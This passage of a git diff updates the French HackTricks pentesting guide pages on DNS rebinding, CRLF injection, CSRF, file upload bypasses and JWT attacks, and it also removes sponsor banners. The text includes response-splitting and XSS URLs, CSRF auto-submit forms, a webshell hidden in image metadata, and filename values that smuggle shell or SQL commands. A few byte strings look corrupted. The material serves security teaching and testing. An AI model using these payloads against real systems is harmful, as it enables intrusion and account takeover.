adresse IP donnée. -6. En accédant à la seconde adresse IP, le navigateur contourne la Same Origin Policy (SOP), permettant à l'attaquant d'abuser de cela et de recueillir et d'exfiltrer des informations. +6. En accédant à la seconde adresse IP, le navigateur contourne la Same Origin Policy (SOP), permettant à l'attaquant d'abuser de cela et de recueillir et exfiltrer des informations. Cette technique exploite le comportement des navigateurs lorsque plusieurs adresses IP sont fournies pour un domaine. En contrôlant stratégiquement les réponses et en manipulant le choix de l'adresse IP par le navigateur, un attaquant peut exploiter la SOP et accéder aux informations de la victime. @@ -386,7 +382,7 @@ Pour plus d'infos, vous pouvez consulter [https://unit42.paloaltonetworks.com/dn Vous pouvez trouver plus d'informations sur les techniques de contournement précédentes et comment utiliser l'outil suivant dans la présentation [Gerald Doussot - État des attaques de rebinding DNS & Singularité de l'origine - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ). -[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS_rebinding). Il comprend les composants nécessaires pour rebind l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des payloads d'attaque afin d'exploiter des logiciels vulnérables sur la machine cible. +[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS_rebinding). Il comprend les composants nécessaires pour rebind l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque afin d'exploiter des logiciels vulnérables sur la machine cible. ### Réelle protection contre le rebinding DNS @@ -418,8 +414,5 @@ Vous pouvez trouver plus d'informations sur les techniques de contournement pré - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration) - [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b) -
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md index 230b1c457..eb3256487 100644 --- a/src/pentesting-web/crlf-0d-0a.md +++ b/src/pentesting-web/crlf-0d-0a.md @@ -1,12 +1,8 @@ -# Injection CRLF (%0D%0A) +# CRLF (%0D%0A) Injection {{#include ../banners/hacktricks-training.md}} -
-**Conseil pour les bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} ### CRLF @@ -18,7 +14,7 @@ L'injection CRLF implique l'insertion de caractères CR et LF dans des entrées ### Exemple : Injection CRLF dans un Fichier Journal -[Exemple ici](https://www.invicti.com/blog/web-security/crlf-http-header/) +[Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/) Considérez un fichier journal dans un panneau d'administration qui suit le format : `IP - Heure - Chemin Visité`. Une entrée typique pourrait ressembler à : ``` @@ -41,9 +37,9 @@ L'attaquant dissimule ainsi ses activités malveillantes en faisant apparaître #### Description -HTTP Response Splitting est une vulnérabilité de sécurité qui survient lorsqu'un attaquant exploite la structure des réponses HTTP. Cette structure sépare les en-têtes du corps à l'aide d'une séquence de caractères spécifique, le Retour Chariot (CR) suivi du Saut de Ligne (LF), collectivement appelés CRLF. Si un attaquant parvient à insérer une séquence CRLF dans un en-tête de réponse, il peut manipuler efficacement le contenu de la réponse suivante. Ce type de manipulation peut entraîner de graves problèmes de sécurité, notamment le Cross-site Scripting (XSS). +HTTP Response Splitting est une vulnérabilité de sécurité qui survient lorsqu'un attaquant exploite la structure des réponses HTTP. Cette structure sépare les en-têtes du corps à l'aide d'une séquence de caractères spécifique, le Retour Chariot (CR) suivi du Saut de Ligne (LF), collectivement appelés CRLF. Si un attaquant parvient à insérer une séquence CRLF dans un en-tête de réponse, il peut efficacement manipuler le contenu de la réponse suivante. Ce type de manipulation peut entraîner de graves problèmes de sécurité, notamment le Cross-site Scripting (XSS). -#### XSS via HTTP Response Splitting +#### XSS à travers HTTP Response Splitting 1. L'application définit un en-tête personnalisé comme ceci : `X-Custom-Header: UserInput` 2. L'application récupère la valeur pour `UserInput` à partir d'un paramètre de requête, disons "user_input". Dans des scénarios manquant de validation et d'encodage appropriés des entrées, un attaquant peut créer un payload qui inclut la séquence CRLF, suivie de contenu malveillant. @@ -67,9 +63,9 @@ Location: http://myweb.com ``` http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E ``` -#### Dans le chemin d'URL +#### Dans le chemin URL -Vous pouvez envoyer la charge utile **dans le chemin d'URL** pour contrôler la **réponse** du serveur (exemple de [ici](https://hackerone.com/reports/192667)): +Vous pouvez envoyer la charge utile **à l'intérieur du chemin URL** pour contrôler la **réponse** du serveur (exemple de [ici](https://hackerone.com/reports/192667)): ``` http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E @@ -80,15 +76,15 @@ Vérifiez plus d'exemples dans : ### Injection d'en-tête HTTP -L'injection d'en-tête HTTP, souvent exploitée par l'injection CRLF (Carriage Return and Line Feed), permet aux attaquants d'insérer des en-têtes HTTP. Cela peut compromettre des mécanismes de sécurité tels que les filtres XSS (Cross-Site Scripting) ou la SOP (Same-Origin Policy), menant potentiellement à un accès non autorisé à des données sensibles, telles que des jetons CSRF, ou à la manipulation de sessions utilisateur par le biais de l'injection de cookies. +L'injection d'en-tête HTTP, souvent exploitée par l'injection CRLF (Carriage Return and Line Feed), permet aux attaquants d'insérer des en-têtes HTTP. Cela peut compromettre des mécanismes de sécurité tels que les filtres XSS (Cross-Site Scripting) ou le SOP (Same-Origin Policy), pouvant mener à un accès non autorisé à des données sensibles, telles que des jetons CSRF, ou à la manipulation de sessions utilisateur par le biais de l'injection de cookies. #### Exploitation de CORS via l'injection d'en-tête HTTP -Un attaquant peut injecter des en-têtes HTTP pour activer CORS (Cross-Origin Resource Sharing), contournant les restrictions imposées par la SOP. Cette violation permet à des scripts provenant d'origines malveillantes d'interagir avec des ressources d'une origine différente, accédant potentiellement à des données protégées. +Un attaquant peut injecter des en-têtes HTTP pour activer CORS (Cross-Origin Resource Sharing), contournant les restrictions imposées par le SOP. Cette violation permet aux scripts provenant d'origines malveillantes d'interagir avec des ressources d'une origine différente, accédant potentiellement à des données protégées. #### SSRF et injection de requête HTTP via CRLF -L'injection CRLF peut être utilisée pour créer et injecter une toute nouvelle requête HTTP. Un exemple notable de cela est la vulnérabilité dans la classe `SoapClient` de PHP, spécifiquement dans le paramètre `user_agent`. En manipulant ce paramètre, un attaquant peut insérer des en-têtes supplémentaires et du contenu dans le corps, ou même injecter entièrement une nouvelle requête HTTP. Ci-dessous un exemple PHP démontrant cette exploitation : +L'injection CRLF peut être utilisée pour créer et injecter une toute nouvelle requête HTTP. Un exemple notable de cela est la vulnérabilité dans la classe `SoapClient` de PHP, spécifiquement dans le paramètre `user_agent`. En manipulant ce paramètre, un attaquant peut insérer des en-têtes supplémentaires et du contenu dans le corps, ou même injecter complètement une nouvelle requête HTTP. Ci-dessous un exemple PHP démontrant cette exploitation : ```php $target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; @@ -143,7 +139,7 @@ Memcache est un **magasin clé-valeur qui utilise un protocole en texte clair**. **Pour l'information complète, lisez le**[ **rapport original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) -Si une plateforme prend **des données d'une requête HTTP et les utilise sans les assainir** pour effectuer **des requêtes** à un serveur **memcache**, un attaquant pourrait abuser de ce comportement pour **injecter de nouvelles commandes memcache**. +Si une plateforme prend **des données d'une requête HTTP et les utilise sans les assainir** pour effectuer **des requêtes** vers un serveur **memcache**, un attaquant pourrait abuser de ce comportement pour **injecter de nouvelles commandes memcache**. Par exemple, dans la vulnérabilité découverte à l'origine, des clés de cache étaient utilisées pour retourner l'IP et le port auxquels un utilisateur devait se connecter, et les attaquants pouvaient **injecter des commandes memcache** qui **empoisonnaient** le **cache pour envoyer les détails des victimes** (noms d'utilisateur et mots de passe inclus) aux serveurs de l'attaquant : @@ -201,10 +197,6 @@ Pour atténuer les risques d'injections CRLF (Carriage Return et Line Feed) ou d - [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) - [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/) -
-**Astuce de bug bounty** : **inscrivez-vous** sur **Intigriti**, une **plateforme de bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des récompenses allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index 59edb3d64..a18bf1e25 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -2,21 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus sur le hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - ## Cross-Site Request Forgery (CSRF) Expliqué **Cross-Site Request Forgery (CSRF)** est un type de vulnérabilité de sécurité trouvé dans les applications web. Il permet aux attaquants d'effectuer des actions au nom d'utilisateurs non méfiants en exploitant leurs sessions authentifiées. L'attaque est exécutée lorsqu'un utilisateur, qui est connecté à la plateforme d'une victime, visite un site malveillant. Ce site déclenche alors des requêtes vers le compte de la victime par des méthodes telles que l'exécution de JavaScript, la soumission de formulaires ou le chargement d'images. @@ -31,11 +16,11 @@ Pour exploiter une vulnérabilité CSRF, plusieurs conditions doivent être remp ### Vérification rapide -Vous pouvez **capturer la requête dans Burp** et vérifier les protections CSRF et pour tester depuis le navigateur, vous pouvez cliquer sur **Copy as fetch** et vérifier la requête : +Vous pourriez **capturer la requête dans Burp** et vérifier les protections CSRF et pour tester depuis le navigateur, vous pouvez cliquer sur **Copier en tant que fetch** et vérifier la requête :
-### Défense contre le CSRF +### Défense contre CSRF Plusieurs contre-mesures peuvent être mises en œuvre pour se protéger contre les attaques CSRF : @@ -74,7 +59,7 @@ Cette vulnérabilité permet aux attaquants de faire des requêtes non autorisé ### Contournement de méthode -Si la requête utilise une "**méthode**" **"étrange"**, vérifiez si la **fonctionnalité** de **surcharge de méthode** fonctionne. Par exemple, si elle **utilise une méthode PUT**, vous pouvez essayer d'**utiliser une méthode POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_ +Si la requête utilise une "**méthode**" **"étrange"**, vérifiez si la **fonctionnalité** de **remplacement de méthode** fonctionne. Par exemple, si elle **utilise une méthode PUT**, vous pouvez essayer d'**utiliser une méthode POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_ Cela pourrait également fonctionner en envoyant le **paramètre \_method à l'intérieur d'une requête POST** ou en utilisant les **en-têtes** : @@ -91,7 +76,7 @@ Si la requête ajoute un **en-tête personnalisé** avec un **token** à la requ ### Le token CSRF est vérifié par un cookie -Les applications peuvent mettre en œuvre une protection CSRF en dupliquant le token à la fois dans un cookie et un paramètre de requête ou en définissant un cookie CSRF et en vérifiant si le token envoyé dans le backend correspond au cookie. L'application valide les requêtes en vérifiant si le token dans le paramètre de requête s'aligne avec la valeur dans le cookie. +Les applications peuvent mettre en œuvre une protection CSRF en dupliquant le token à la fois dans un cookie et un paramètre de requête ou en définissant un cookie CSRF et en vérifiant si le token envoyé dans le backend correspond au cookie. L'application valide les requêtes en vérifiant si le token dans le paramètre de requête correspond à la valeur dans le cookie. Cependant, cette méthode est vulnérable aux attaques CSRF si le site web présente des défauts permettant à un attaquant de définir un cookie CSRF dans le navigateur de la victime, comme une vulnérabilité CRLF. L'attaquant peut exploiter cela en chargeant une image trompeuse qui définit le cookie, suivie de l'initiation de l'attaque CSRF. @@ -118,7 +103,7 @@ onerror="document.forms[0].submit();" /> ``` > [!NOTE] -> Notez que si le **token csrf est lié au cookie de session, cette attaque ne fonctionnera pas** car vous devrez définir la session de la victime, et donc vous vous attaquerez à vous-même. +> Notez que si le **token csrf est lié au cookie de session, cette attaque ne fonctionnera pas** car vous devrez définir la session de la victime, et donc vous vous attaquerez vous-même. ### Changement de Content-Type @@ -154,12 +139,12 @@ form.submit() Lors de l'envoi de données JSON via une requête POST, l'utilisation de `Content-Type: application/json` dans un formulaire HTML n'est pas directement possible. De même, l'utilisation de `XMLHttpRequest` pour envoyer ce type de contenu déclenche une requête préliminaire. Néanmoins, il existe des stratégies pour contourner cette limitation et vérifier si le serveur traite les données JSON indépendamment du Content-Type : 1. **Utiliser des types de contenu alternatifs** : Employez `Content-Type: text/plain` ou `Content-Type: application/x-www-form-urlencoded` en définissant `enctype="text/plain"` dans le formulaire. Cette approche teste si le backend utilise les données indépendamment du Content-Type. -2. **Modifier le type de contenu** : Pour éviter une requête préliminaire tout en s'assurant que le serveur reconnaît le contenu comme JSON, vous pouvez envoyer les données avec `Content-Type: text/plain; application/json`. Cela ne déclenche pas de requête préliminaire mais pourrait être traité correctement par le serveur s'il est configuré pour accepter `application/json`. +2. **Modifier le type de contenu** : Pour éviter une requête préliminaire tout en s'assurant que le serveur reconnaît le contenu comme JSON, vous pouvez envoyer les données avec `Content-Type: text/plain; application/json`. Cela ne déclenche pas de requête préliminaire mais peut être traité correctement par le serveur s'il est configuré pour accepter `application/json`. 3. **Utilisation de fichiers SWF Flash** : Une méthode moins courante mais réalisable consiste à utiliser un fichier SWF flash pour contourner de telles restrictions. Pour une compréhension approfondie de cette technique, référez-vous à [ce post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937). ### Contournement de la vérification du référent / origine -**Éviter l'en-tête Referer** +**Éviter l'en-tête Référent** Les applications peuvent valider l'en-tête 'Referer' uniquement lorsqu'il est présent. Pour empêcher un navigateur d'envoyer cet en-tête, le tag meta HTML suivant peut être utilisé : ```xml @@ -295,7 +280,7 @@ document.forms[0].submit() //Way 3 to autosubmit ``` -### Requête POST de formulaire via iframe +### Formulaire de requête POST via iframe ```html AAA.php ``` # Linux maximum 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # moins 4 ici et ajout de .png +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # moins 4 ici et ajout de .png # Téléchargez le fichier et vérifiez la réponse combien de caractères il permet. Disons 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -68,16 +63,16 @@ AAA<--SNIP 232 A-->AAA.php.png ### Contourner Content-Type, Magic Number, Compression & Redimensionnement - Contourner les vérifications de **Content-Type** en définissant la **valeur** de l'**en-tête Content-Type** à : _image/png_, _text/plain_, application/octet-stream_ -1. Liste de mots pour Content-Type : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +1. Liste de mots **Content-Type** : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) - Contourner la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (confondre la commande _file_). Ou introduire le shell dans les **métadonnées** :\ `exiftool -Comment="' >> img.png` -- Si **une compression est ajoutée à votre image**, par exemple en utilisant certaines bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser le **PLTE chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. +- Si **la compression est ajoutée à votre image**, par exemple en utilisant certaines bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser le **chunk PLTE** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. - [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- La page web pourrait également **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pourriez utiliser le **IDAT chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. +- La page web pourrait également **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pourriez utiliser le **chunk IDAT** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. - [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pourriez utiliser le **tEXt chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. +- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pourriez utiliser le **chunk tEXt** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**. - [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### Autres astuces à vérifier @@ -110,7 +105,7 @@ Si vous pouvez télécharger un fichier XML sur un serveur Jetty, vous pouvez ob ## **uWSGI RCE** -Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [Exploitation RCE uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). Les vulnérabilités d'exécution de commande à distance (RCE) peuvent être exploitées dans les serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables, des espaces réservés et des opérateurs "magiques". Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas pris en charge dans uWSGI, le schéma "exec" est particulièrement puissant, permettant la lecture de données à partir de la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration `.ini` est traité. @@ -171,9 +166,9 @@ Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner c ## Du téléchargement de fichiers à d'autres vulnérabilités - Définissez **filename** sur `../../../tmp/lol.png` et essayez d'atteindre un **path traversal** -- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourriez être en mesure d'atteindre une **injection SQL** +- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourriez être en mesure d'atteindre une **SQL injection** - Définissez **filename** sur `` pour atteindre un XSS -- Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [trucs d'injection de commandes ici](../command-injection.md)) +- Définissez **filename** sur `; sleep 10;` pour tester une injection de commande (plus de [trucs d'injections de commandes ici](../command-injection.md)) - [**XSS** dans le téléchargement de fichiers image (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg) - **JS** fichier **upload** + **XSS** = [**exploitation des Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers) - [**XXE dans le téléchargement svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) @@ -182,7 +177,7 @@ Notez qu'une **autre option** à laquelle vous pourriez penser pour contourner c - [Fameuse vulnérabilité **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) - Si vous pouvez **indiquer au serveur web de récupérer une image depuis une URL**, vous pourriez essayer d'abuser d'un [SSRF](../ssrf-server-side-request-forgery/). Si cette **image** doit être **enregistrée** sur un site **public**, vous pourriez également indiquer une URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) et **voler des informations de chaque visiteur**. - [**XXE et CORS** contournement avec le téléchargement de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) -- PDF spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir une exécution JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer un PDF qui exécutera du JS arbitraire suivant les indications données. +- PDF spécialement conçus pour XSS : La [page suivante présente comment **injecter des données PDF pour obtenir l'exécution de JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez télécharger des PDF, vous pourriez préparer un PDF qui exécutera du JS arbitraire suivant les indications données. - Téléchargez le contenu \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) pour vérifier si le serveur a un **antivirus** - Vérifiez s'il y a une **limite de taille** lors du téléchargement de fichiers @@ -208,11 +203,11 @@ Voici un top 10 des choses que vous pouvez réaliser en téléchargeant (de [ici - **PNG** : `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG** : `"\xff\xd8\xff"` -Consultez [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) pour d'autres types de fichiers. +Référez-vous à [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) pour d'autres types de fichiers. ### Téléchargement de fichiers Zip/Tar automatiquement décompressés -Si vous pouvez télécharger un ZIP qui sera décompressé sur le serveur, vous pouvez faire 2 choses : +Si vous pouvez télécharger un ZIP qui va être décompressé sur le serveur, vous pouvez faire 2 choses : #### Symlink @@ -293,7 +288,7 @@ pop graphic-context ``` ## Intégration d'un Shell PHP dans un PNG -Intégrer un shell PHP dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. La capacité du shell PHP intégré à rester non affecté par ces opérations est un avantage significatif pour certains cas d'utilisation. +L'intégration d'un shell PHP dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. La capacité du shell PHP intégré à rester non affecté par ces opérations est un avantage significatif pour certains cas d'utilisation. Une exploration détaillée de cette technique, y compris sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du processus et de ses implications. @@ -318,10 +313,5 @@ Plus d'informations sur : [https://medium.com/swlh/polyglot-files-a-hackers-best - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -
- -Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md index 378d58aa2..6077addc3 100644 --- a/src/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md @@ -2,18 +2,12 @@ {{#include ../banners/hacktricks-training.md}} -
- -Si vous êtes intéressé par une **carrière en hacking** et que vous souhaitez hacker l'inhackable - **nous recrutons !** (_polonais courant écrit et parlé requis_). - -{% embed url="https://www.stmcyber.com/careers" %} - -**Une partie de ce post est basée sur le post génial :** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\ +**Une partie de cet article est basée sur le post génial :** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\ **Auteur du super outil pour pentester les JWT** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool) ### **Gains Rapides** -Exécutez [**jwt_tool**](https://github.com/ticarpi/jwt_tool) avec le mode `All Tests!` et attendez les lignes vertes. +Exécutez [**jwt_tool**](https://github.com/ticarpi/jwt_tool) avec le mode `All Tests!` et attendez les lignes vertes ```bash python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ @@ -46,7 +40,7 @@ Pour vérifier si la signature d'un JWT est vérifiée : Il est important de déterminer si le token a été généré côté serveur ou côté client en examinant l'historique des requêtes du proxy. - Les tokens vus pour la première fois du côté client suggèrent que la clé pourrait être exposée au code côté client, nécessitant une enquête plus approfondie. -- Les tokens provenant du côté serveur indiquent un processus sécurisé. +- Les tokens d'origine côté serveur indiquent un processus sécurisé. ### Durée @@ -62,7 +56,7 @@ Définissez l'algorithme utilisé comme "None" et supprimez la partie signature. Utilisez l'extension Burp appelée "JSON Web Token" pour essayer cette vulnérabilité et pour changer différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du token. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None"). -### Changer l'algorithme RS256 (asymétrique) en HS256 (symétrique) (CVE-2016-5431/CVE-2016-10555) +### Changer l'algorithme RS256(asymétrique) en HS256(symétrique) (CVE-2016-5431/CVE-2016-10555) L'algorithme HS256 utilise la clé secrète pour signer et vérifier chaque message.\ L'algorithme RS256 utilise 